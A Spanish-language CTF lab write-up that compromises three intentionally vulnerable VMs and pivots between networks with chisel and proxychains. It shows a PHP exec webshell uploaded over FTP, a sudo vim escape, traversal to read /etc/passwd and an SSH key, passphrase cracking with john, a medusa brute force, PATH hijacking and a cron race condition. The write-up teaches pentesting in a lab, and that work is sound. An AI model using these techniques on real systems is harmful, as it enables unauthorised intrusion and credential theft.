3 entornos, jugaremos principalmente con pivoting, pero a su vez, con accesos indebidos a servicios curiosos, permisos algo peligrosos como otros usuarios, fuerza bruta pa romper varias cositas, carreritas contra procesos, lectura de archivos internos, jmmm, varios temitas pa saltar.

TL;DR (Spanish writeup)

Máquinas creadas por: RiJaba1.

Muchas gracias a RiJaba1 por sus máquinas y aporte a la comunidad, abrazitos (:

Vamos a crear un laboratorio de pivoting, fin.

😝

Aproveche la ocasión y usé la serie de entornos que creo RiJaba1, tanto para practicar y como para intentar enseñarles sobre de Pivoting y como lidear con él (cero lidia), es muy divertido y fácil de realizar, solo es como todo, práctica.

Vamos a romper 3 máquinas, como atacantes tendremos conexión con una de ellas, ella y solo ella tendrá conexión internamente con otra y esta otra tendrá también internamente un intercambio de información con una nueva. Es más fácil de entender gráficamente, más abajo encontrarás el alcance que seguiremos.

¡Metámosle candela a esta cadena!

La idea inicial de esta locura es tener mis “notas” por si algun día se me olvida todo (lo que es muuuy probable), leer esto y reencontrarme (o talvez no) 😄 La segunda idea surgio con el tiempo, ya que me di cuenta que esta es una puerta para personitas que como yo al inicio (o simplemente a veces) nos estancamos en este mundo de la seguridad, por lo que si tengo la oportunidad de ayudarlos ¿por qué no hacerlo?

Un detalle es que si ves mucho texto, es por que me gusta mostrar tanto errores como exitos y tambien plasmar todo desde una perspectiva más de enseñanza que de solo pasos a seguir. Sin menos, muchas gracias <3

…

Cadena pa mi bici.

1. Alcance.
2. Creación de laboratorio.
3. Friendly1.
   • Reconocimiento.
   • Enumeración.
   • Explotación.
   • Escalada de privilegios.
   • Post Explotación.
   • Pivoting F1 < F2.
4. Friendly2.
   • Reconocimiento.
   • Enumeración.
   • Explotación.
   • Escalada de privilegios.
   • Post Explotación.
   • Pivoting F1 < F2 < F3.
5. Friendly3.
   • Reconocimiento.
   • Enumeración.
   • Explotación.
   • Escalada de privilegios.

…

Ruta de baile #

Creación de laboratorio #

Para ello necesitamos primero descargar las máquinas (claramente :P):

Ahora, mediante VirtualBox (en mi caso, pero los pasos son los mismos, solo cambian los botones) vamos a agregar las máquinas, generar todas las interfaces y enlaces.

Para agregar las máquinas es sencillo, al terminar la descarga se nos genera un comprimido, lo descomprimimos, damos doble clic sobre el archivo y nos debería abrir VirtualBox para importar la máquina, seguimos los pasos y tamos. Realizas lo mismo para las otras.

Creación de interfaces NAT 📌

Vamos a Archivo > Herramientas > Network Manager (o indicando CTRL^H) > Nat Networks.

Ahí, vamos a crear el número de redes que queramos y con el rango y disposición necesaria, yo cree la red 1 con el direccionamiento 192.168.20.0/24 de la siguiente forma, los pasos son iguales para todas las redes:

• Clic en Crear
• Nombre: 1n
• IPv4 Prefix: 192.168.20.0/24
• Activamos Enable DHCP para que asigne IP automáticamente una vez la máquina sea iniciada.

Si repetimos los pasos con los siguientes datos:

• 2n : 172.18.100.0/24
• 3n : 192.168.40.0/24

Deberíamos tener algo así:

Tamos, por aquí no tenemos que mover nada más. Ahora vamos a asignar esos rangos a las máquinas.

Asignación de IPs a máquinas 📌

Nuestro entorno debe quedar distribuido de la siguiente forma (las IPs internas de cada cuadrado son dinámicas, así que esas no nos interesan en este punto, solo los que están al lado del logo de Linux):

Empezamos configurando nuestro entorno, nuestra máquina, nuestro home, nuestra casita, como sea que la llames (:

Clic derecho sobre la máquina > Configuración > Red y listo, configuramos para que nos quede así:

Ahora configuramos una de las máquinas con dos interfaces, es muy sencillo, hacemos el mismo proceso de arriba para una interfaz, y para la otra solo debemos dar clic en el apartado Adaptador 2 y activar Enable Network Adapter:

Repetirías estos pasos para las demás máquinas, dejándolo todo como el diagrama.

…

A JUGAAAAAAAAAAR!

- Friendly1 (F1) -

Reconocimiento (F1) #

Como atacantes no conocemos realmente nada aún, sabemos que hay un host aparte de nosotros en la red 192.168.20.0/24, pero no estamos conscientes de su dirección IP, así que vamos a buscarla.

Usaré arp-scan:

arp-scan -l
...
192.168.20.28   08:00:27:a2:9f:c0       PCS Systemtechnik GmbH

De todas, la única distinta y no conocida es la 192.168.20.28, así que nos quedamos con ella.

Empezamos viendo qué puertos (servicios) tiene activos la máquina, para ello emplearé nmap:

nmap -p- --open -v 192.168.20.28 -oA TCP_initScan_Friendly1

El escaneo nos muestra:

_____(Usando la función extractPorts (referenciada antes) podemos copiar rápidamente los puertos en la clipboard, en este caso no es necesario (ya que tenemos pocos puertos), pero si tuviéramos varios puertos evitamos tener que escribirlos uno a uno

extractPorts TCP_initScan_Friendly1.gnmap 

[*] Extracting information...

    [*] IP Address: 192.168.20.28
    [*] Open ports: 21,80

[*] Ports copied to clipboard

)_____

Ya teniendo los puertos, podemos apoyarnos de nuevo con nmap para extraer más info. Validaremos posibles vulnerabilidades que nmap encuentre con una lista de scripts propios y además extraeremos la versión del software usado en cada servicio:

nmap -sCV -p 21,80 192.168.20.28 -oA TCP_portScan_Friendly1

Se nos revelan algunas cositas:

Pero también nos informa que tenemos acceso al servicio como el usuario y contraseña anonymous, esto es interesante, ya lo revisamos…

Nada más, así que empecemos a encadenar pasos (:

Enumeración (F1) #

Normalmente, iniciamos con HTTP, pero al tener el usuario anonymous habilitado, pues nos vamos primero a jugar con FTP.

Puerto 21 (F1) 📌

Encontramos un archivo llamado index.html. Si lo descargamos y vemos su contenido, es el mismo resultado que encontramos al hacer una petición contra el sitio web… ¿Quizás estemos en la raíz que usa el servidor web? ¿Tendremos permisos de escritura?

echo "hola" > si.txt

Validamos y efectivamente tenemos permisos de escritura:

Y si buscamos ese archivo en el sitio web:

Peeeerfecto (: ¿Notas el punto de explotación?

Sip, vamos a subir un archivo malicioso que nos permita ejecutar comandos en el sistema :O

Explotación (F1) #

Procedemos inicialmente a validar si PHP es aceptado, usamos la función exec() de PHP para ello (una de tantas funciones que nos pueden ayudar):

echo '<?php echo exec("id"); ?>' > buenosdias.php

ftp> put buenosdias.php 

LIIIIIISTOS, tenemos ejecución remota de comandos como el usuario www-data (: Les dejo de tarea el cómo entablar una Shell dentro del sistema para trabajar mucho más cómodos.

Escalada de privilegios (F1) #

Ya en el sistema, el usuario www-data tiene permiso para ejecutar como cualquier usuario el programa vim (editor de texto):

Apoyados de la web (e incluso de la ayuda propia del programa) encontramos una manera para ejecutar comandos en el sistema:

• https://gtfobins.github.io/gtfobins/vim/#sudo.

Lo único que debemos hacer es pasarle como comando interno a Vim seguido de ! la instrucción a ejecutar, por ejemplo desde la consola ejecutando la bash como el usuario root:

sudo -u root /usr/bin/vim -c ':!/bin/bash'

Peeeerfecto! Podríamos decir que ya terminamos la máquina, pero realmente aún no terminamos el laboratorio, acá empieza lo bueno (:

Post Explotación (F1) #

Encontramos inicialmente las flags (RiJaba1 se quería poner chistoso):

También algunos posibles usuarios o credenciales (que podemos guardar pensando en las demás máquinas) y mensajes algo crípticos:

Y finalmente encontramos una nueva interfaz donde tenemos asignada una IP:

Así que ojito, esto es muy interesante, ya que quizás también exista otro host en algún otro sitio en la misma red, lo cual nos abre muuuchas posibilidades.

Tenemos asignadas dos IPs de dos segmentos:

• 192.168.20.28/24
• 172.18.100.26/24

Veamos si hay más hosts activos:

root@friendly:/home/RiJaba1/things# ./hosts.sh 
IP Activa: 172.18.100.25
IP Activa: 172.18.100.26
IP Activa: 172.18.100.3
IP Activa: 172.18.100.2
IP Activa: 172.18.100.1

La .25 es nuevaaaaaa y tenemos conexión contra ella, por lo que claramente es nuestro siguiente objetivo, intentar explotar/explorar el nuevo descubrimiento.

También podemos ver los puertos abiertos externamente:

root@friendly:/home/RiJaba1/things# ./ports.sh 172.18.100.25
Puerto Abierto: 172.18.100.25:22
Puerto Abierto: 172.18.100.25:80

Esta sería nuestra información hasta ahora:

Me gusta, procedamos…

Pivoting F1 < F2 #

Algo de cátedra :P

🦘 Por lo general usamos esta palabra en la post-explotación, o sea despues de haber accedido a un sistema (y posiblemente haberlo comprometido totalmente). El pivoting lo podemos pensar como un “trampolin”, donde usamos el entorno comprometido como “salto” para llegar (en nuestro caso) a ese nuevo host encontrado. Esto debido a que si intentamos llegar desde nuestra máquina de atacante, no lo lograremos, ¿la razón? la definicion de la interfaz es interna.

Lo que vamos a realizar ahora lo conocemos normalmente como un redireccionamiento de puertos (un port-fortwarding), solo que para hacerlo más dinámico y completo, jugaremos con el tráfico de tooodos los puertos, sin hacerlo uno a uno.

Para ello entablaremos una conexión SOCKS, que como bien dice ChatGPT :P Funciona como si contratáramos a una personita que nos trajera las cartas que tenemos en un buzón de correo, todas de una. Lo que nos evitaría tener que ir nosotros mismos día a día por las cartas (:

Yo empleo la herramienta chisel, es muy completa y sencilla de usar, pero también se puede hacer mediante Metasploit y demás tools.

Despues de toda la chachara (menos mal que solo lo explico acá :P), vamos a meterle fuego!!

Descargamos el chisel necesario para nuestro sistema operativo y como atacantes levantamos un servidor que escuche por el puerto 1080:

chisel server -p 1080 --reverse

Y ahora en F1 establecemos la conexión SOCKS contra nuestra máquina, generando así un “túnel” que nos permita interactuar con F2 viajando por el puerto 1111 :)

chisel client 192.168.20.26:1080 R:1111:socks

Liiiistones, ya generamos la conexión. Solo que para acceder a los recursos del puerto SOCKS 127.0.0.1:1111 (o sea, que viaje por el túnel hasta F2) necesitamos que nuestro entorno entienda como llegar al túnel, para ello usamos proxychains. Modificamos su archivo de configuración (/etc/proxychains*.conf)y agregamos en la última línea:

socks5 127.0.0.1 1111

Y listones! Ya podemos ver los servicios (22 y 80) desde nuestra máquina de atacante, usando a F1 para llegar a F2.

💡 Recuerda que es como un “trampolin/túnel/salto/intermediario” (por eso tambien esta implicado proxychains).

Puedes probar con curl con nmap con nc etc. La ejecución es tal que:

proxychains -q curl http://172.18.100.25

Bueno, muy bien, espero me haya hecho entender y haya sido didáctico. Ya teniendo la conexión con Friendly2 (F2), explotemos esta vaina…

- Friendly2 (F2) -

Reconocimiento (F2) #

Ya conocemos los puertos abiertos:

root@friendly:/home/RiJaba1/things# ./ports.sh 172.18.100.25
Puerto Abierto: 172.18.100.25:22
Puerto Abierto: 172.18.100.25:80

Enumeración (F2) #

Veamos el contenido del puerto 80, pero como estamos jugando con túneles necesitamos lo mismo de antes, indicarle al sistema que viaje por ellos. Se puede ver el sitio web (en Firefox en mi caso) de dos formas rápidas:

• Ejecutar proxychains -q firefox en la consola.
• Usar la extensión foxyproxy y agregar el proxy que estamos usando (socks5://127.0.0.1:1111).

A mí me gusta más la segunda, así que les dejo los pasos para que los repliquen:

• Instalamos extensión (aunque si usas BurpSuite es probable que ya la tengas).
• Vamos a las opciones de la propia herramienta, específicamente al apartado de proxies y añadimos una.
• Título (lo que quieran): SOCKS 1111.
• Tipo: SOCKS5.
• Hostname: 127.0.0.1.
• Puerto: 1111.
• Botón Save.
• Damos clic de nuevo en la extensión, activamos SOCKS 1111 y listo, ya podemos hacer peticiones contra F2.

Un sitio bien diciente.

Realizando exploración de directorios no listados (fuzzing) vemos 2 recursos nuevos:

proxychains -q wfuzz -c -w /opt/seclists/Discovery/Web-Content/raft-large-directories.txt --hh=275 -u http://172.18.100.25/FUZZ

La carpeta /tools/ nos muestra:

Nada relevante realmente, pero sí revisamos el código fuente del sitio, añañaiii:

Un nuevo recurso:

http://172.18.100.25/tools/check_if_exist.php?doc=keyboard.html

Es bien curioso y llamativo… Tenemos un archivo llamado check_if_exist, este toma un parámetro doc (documento/archivo) y literal toma eso, un nombre de archivo 😈 ¿Qué se te ocurre?

Explotación (F2) #

¿Emmmmmm, quizás, solo quizás, nunca se sabe, una vulnerabilidad llamada Directory Traversal? E incluso peor, un Local File Inclusion?

La sencilla definición es: Un directory traversal nos permite ver objetos del sistema distintos a los que deberiamos acceder, y un local file inclusion lleva esto a otro nivel, ya que permite que el navegador interprete y ejecute el contenido del archivo local, lo que podria llevar a una ejecución de comandos, ¿alarmante? total, ¿critico? depende siempre del alcance. Pero y si en lugar de local se conviernte en remote??? 🤪

Pueden existir muchos filtros y problemas para hacer funcionar un Path Traversal, pero nada, empezamos como siempre con pruebas sencillas.

Probamos inicialmente a salirnos del directorio donde estamos y leer el archivo que contiene información de usuarios del sistema (/etc/passwd):

http://172.18.100.25/tools/check_if_exist.php?doc=../../../../../../etc/passwd

EPALEEE! Confirmamos el Directory Traversaaaaaal (:

Además, visualizamos el nombre de usuario gh0st. Que si sumamos el Path Traversal con el directorio /home/gh0st/, ¿qué podríamos buscar? ¡Llaves privadas SSH (además está expuesto el servicio)!!

Recordemos que la llave privada funciona como una contraseña, así que si existe, podríamos entablar una sesión SSH sin necesidad de conocer la contraseña del usuario gh0st.

Existe 😎, la copiamos en un archivo de nuestro sistema, le damos los permisos necesarios (chmod 600 archivo) y ejecutamos:

proxychains -q ssh gh0st@172.18.100.25 -i gh0st.id_rsa

Pero somos informados de que la llave privada está protegida con una “frase” de seguridad:

No son problemas, jugamos con ssh2john para obtener un hash con el cual intentar fuerza bruta con John The Ripper:

ssh2john gh0st.id_rsa > gh0st.id_rsa.hash
john --wordlist=/usr/share/wordlists/rockyou.txt gh0st.id_rsa.hash

Ejejeeee, listones, reintentamos la conexión con SSH, colocamos la clave obtenida y estamos dentro mi gentesita:

Escalada de privilegios (F2) #

Mi ilustre gh0st cuenta con permiso para ejecutar el script /opt/security.sh como cualquier usuario del sistema, además, puede indicar una variable de entorno para que esta afecte/interactúe con el programa en cuestión :O

Me gusta, suena comprometedor.

gh0st@friendly2:~$ cat /opt/security.sh

#!/bin/bash

echo "Enter the string to encode:"
read string

# Validate that the string is no longer than 20 characters
if [[ ${#string} -gt 20 ]]; then
  echo "The string cannot be longer than 20 characters."
  exit 1
fi

# Validate that the string does not contain special characters
if echo "$string" | grep -q '[^[:alnum:] ]'; then
  echo "The string cannot contain special characters."
  exit 1
fi

sus1='A-Za-z'
sus2='N-ZA-Mn-za-m'

encoded_string=$(echo "$string" | tr $sus1 $sus2)

echo "Original string: $string"
echo "Encoded string: $encoded_string"

Lo primero en lo que pienso es en un Path Hijacking (engañar al sistema para que llegue a un programa con nombre conocido, pero con contenido malicioso (en este caso el script usa dos: grep y tr)), solo que el script va a ir a buscar esos objetos en todos los directorios que están en la variable de entorno PATH, pero cada variable es distinta para cada usuario, así que si modificamos la nuestra, solo nos veremos afectados nosotros, más no los otros usuarios…

:O

Tenemos la posibilidad de pasar una variable de entorno al script, así que crearíamos un directorio con los programas maliciosos, lo pondríamos de primero en la lista de directorios del PATH y al ejecutar el script con esa variable, llegaría si o si a nuestros programas juguetones!!!

Path Hijacking (F2) 📌

Creamos binario grep que realmente ejecutaría el comando id:

mkdir ~/things
cd ~/things
echo "id" > grep 
chmod +x grep

Y simplemente ejecutamos el script como el usuario root (con sudo) pasándole la variable PATH modificada concatenando el contenido original de ella:

sudo PATH=/home/gh0st/things:$PATH /opt/security.sh

Y listoooooooo, ejecuta la primera parte de script, luego ejecuta grep, pero como tenemos secuestrado el binario, ejecuta realmente el falso grep, o sea, id (:

Les dejo de tareita obtener una Shell como root, es bien sencillo.

Post Explotación (F2) #

La flag está codificada:

El script que acabamos de romper está jugando con cadenas y encodeandolas, pues probando con él efectivamente llegamos a la flag, también de tarea.

Enumerando el sistema, igual que antes, encontramos una nueva interfaz asociada a F2:

Realizando los mismos pasos para encontrar hosts, llegamos a una dirección IP distinta, probablemente de F3:

bash-5.1# ./hosts.sh 
IP Activa: 192.168.40.20
IP Activa: 192.168.40.21
IP Activa: 192.168.40.3
IP Activa: 192.168.40.2
IP Activa: 192.168.40.1

Y tiene distintos puertos abiertos:

bash-5.1# ./ports.sh 192.168.40.21
Puerto Abierto: 192.168.40.21:21
Puerto Abierto: 192.168.40.21:22
Puerto Abierto: 192.168.40.21:80

Así que confirmamos la dirección de F3 y sus puertos (:

Se viene la parte divertida, saltemos entre trampolines 🦘

Pivoting F1 < F2 < F3 📌

Ya conocimos la teoría y el paso a paso antes, así que ahora solo te dejaré los pasos (que yo hago) para llegar a todos los objetivos. A F1, a F2 y a F3:

(Estos ya los tenemos de antes, pero por si algo: Atacante a F2)

• Atacante:

  chisel server -p 1080 --reverse
  

• F1:

  chisel client 192.168.20.26:1080 R:1111:socks
  

• Atacante:

  #edit /etc/proxychains file
  socks5 127.0.0.1 1111
  

(Nuevos: Atacante a F3)

• F1:

  chisel server -p 1081 --reverse
  

• F2:

  chisel client 172.18.100.26:1081 R:2222:socks
  

• Atacante:

  chisel server -p 1081 --reverse
  

• F1:

  chisel client 192.168.20.26:1081 R:2222:socks
  

• Atacante:

  #edit /etc/proxychains file
  socks5 127.0.0.1 2222
  

Y tamos readyyyy, ya podemos hablar todos con todos (:

- Friendly3 (F3) -

Reconocimiento (F3) #

Ya tenemos los puertos:

bash-5.1# ./ports.sh 192.168.40.21
Puerto Abierto: 192.168.40.21:21
Puerto Abierto: 192.168.40.21:22
Puerto Abierto: 192.168.40.21:80

Naveguemos.

Enumeración (F3) #

Para ver el servidor web, misma historia pero ahora con el puerto 2222.

Aunque si te da problemas, puedes usar proxy.py, ejecutarias proxychains -q proxy, te generaria un puerto corriendo el http-proxy, tomas ese puerto, agregas un proxy nuevo en Foxy Proxy, solo que en lugar de SOCKS5 colocas HTTP y listones (:

Dos usuarios potenciales:

• sysadmin
• juan

Validando el acceso anonymous por FTP no logramos entrar, tampoco con posibles vulns para el software usado (vsftpd 3.0.3).

Explotación (F3) #

Una de las tantas pruebas sería intentar fuerza bruta contra los dos usuarios. Intentando adivinar alguna contraseña.

Sabemos qué juan tiene acceso al FTP (por el mensaje del sitio web), así que a jugar, usaré medusa:

proxychains -q medusa -h 192.168.40.21 -u juan -P /usr/share/wordlists/rockyou.txt -M ftp

Con la ilusión de encontrar algo por acá, nos sorprendemos:

Ujuuuujuii, tenemos unas credenciales válidas contra el servicio FTP.

Ese juan sí, como pone esa contraseña, ihssss 🔪

Hay un montón de archivos:

Aunque no logramos nada por acá. Pero si probamos las mismas credenciales por SSH, adivina que…

Tamos dentro :P

Escalada de privilegios (F3) #

Recorriendo el sistema, en la ruta /opt encontramos un script llamativo:

Jmmm, es un script algo raro. Realiza una petición a un recurso con nombre loco, guarda el output en el objeto /tmp/a.bash, le da permisos totales al archivo, lo ejecuta y al final lo borra 👀

Algo interesante del script y su funcionamiento es la escritura del archivo /tmp/a.bash y su posterior ejecución… Se me ocurre una condición de carrera, pero primero debemos validar si existe algún usuario que esté ejecutando el script, ya que si sí, podríamos ganarle en la generación del archivo /tmp/a.bash, modificar su contenido y hacer que ejecute lo que queramos.

Pero lo dicho, validemos si ese script se está llamando (ya sea por una tarea cron o algún proceso externo).

Para ello usaré pspy, esta herramienta visualiza procesos internos que estén siendo ejecutados en el sistema, así que nos viene de perlas.

La ejecutamos y obtenemos:

Sisisisi, root está ejecutando el script cada minuto (bueno, en la captura no se ve el tiempo, pero ya lo saben :P), así que intentemos ser más rápidos que él y hagámonos dueños del sistema.

¿Carreritas o qué? 📌

Nos creamos un script que genere el archivo /tmp/a.bash infinidad de veces, solo hasta que lo interrumpamos. El contenido del archivo como parte de la prueba será que al ser ejecutado, guarde el resultado del comando id es el objeto /tmp/epale.txt:

juan@friendly3:~/things$ cat race_curlandbash.sh 

#!/bin/bash

while true
do
    echo "id > /tmp/epale.txt" > /tmp/a.bash
done

juan@friendly3:~/things$ ./race_curlandbash.sh 

Y lo dejamos ahí, incluso podemos mediante SSH obtener otra terminal y desde ahí monitorear que va pasando.

Recuerda, cada minuto es ejecutado el script, por lo que después de un tiempo:

EEEEEEEEEEEEEESOOOOOOOOOOOOO! Estamos ejecutando comandos como root, ahora a hacer la tarea (:

Post Explotación (F3) #

Y liiiiiiiistos, somos amos y dueños de la máquina (:

…

Y amos y dueños de toooodas las máquinas!

¿Qué tal te pareció el lab? Lindas máquinas para empezar en este mundo, todo bien “amigable” 🤗

Espero haberme hecho entender con los conceptos, sobre todo con el tema del pivoting, igual cualquier duda nos vemos en el Discord del S4vi.

Y bueno, ya me marcho, a dormir bien sabroso, después de este montón de texto 👓

¡A seguir rompiendo de todoooooooooooo!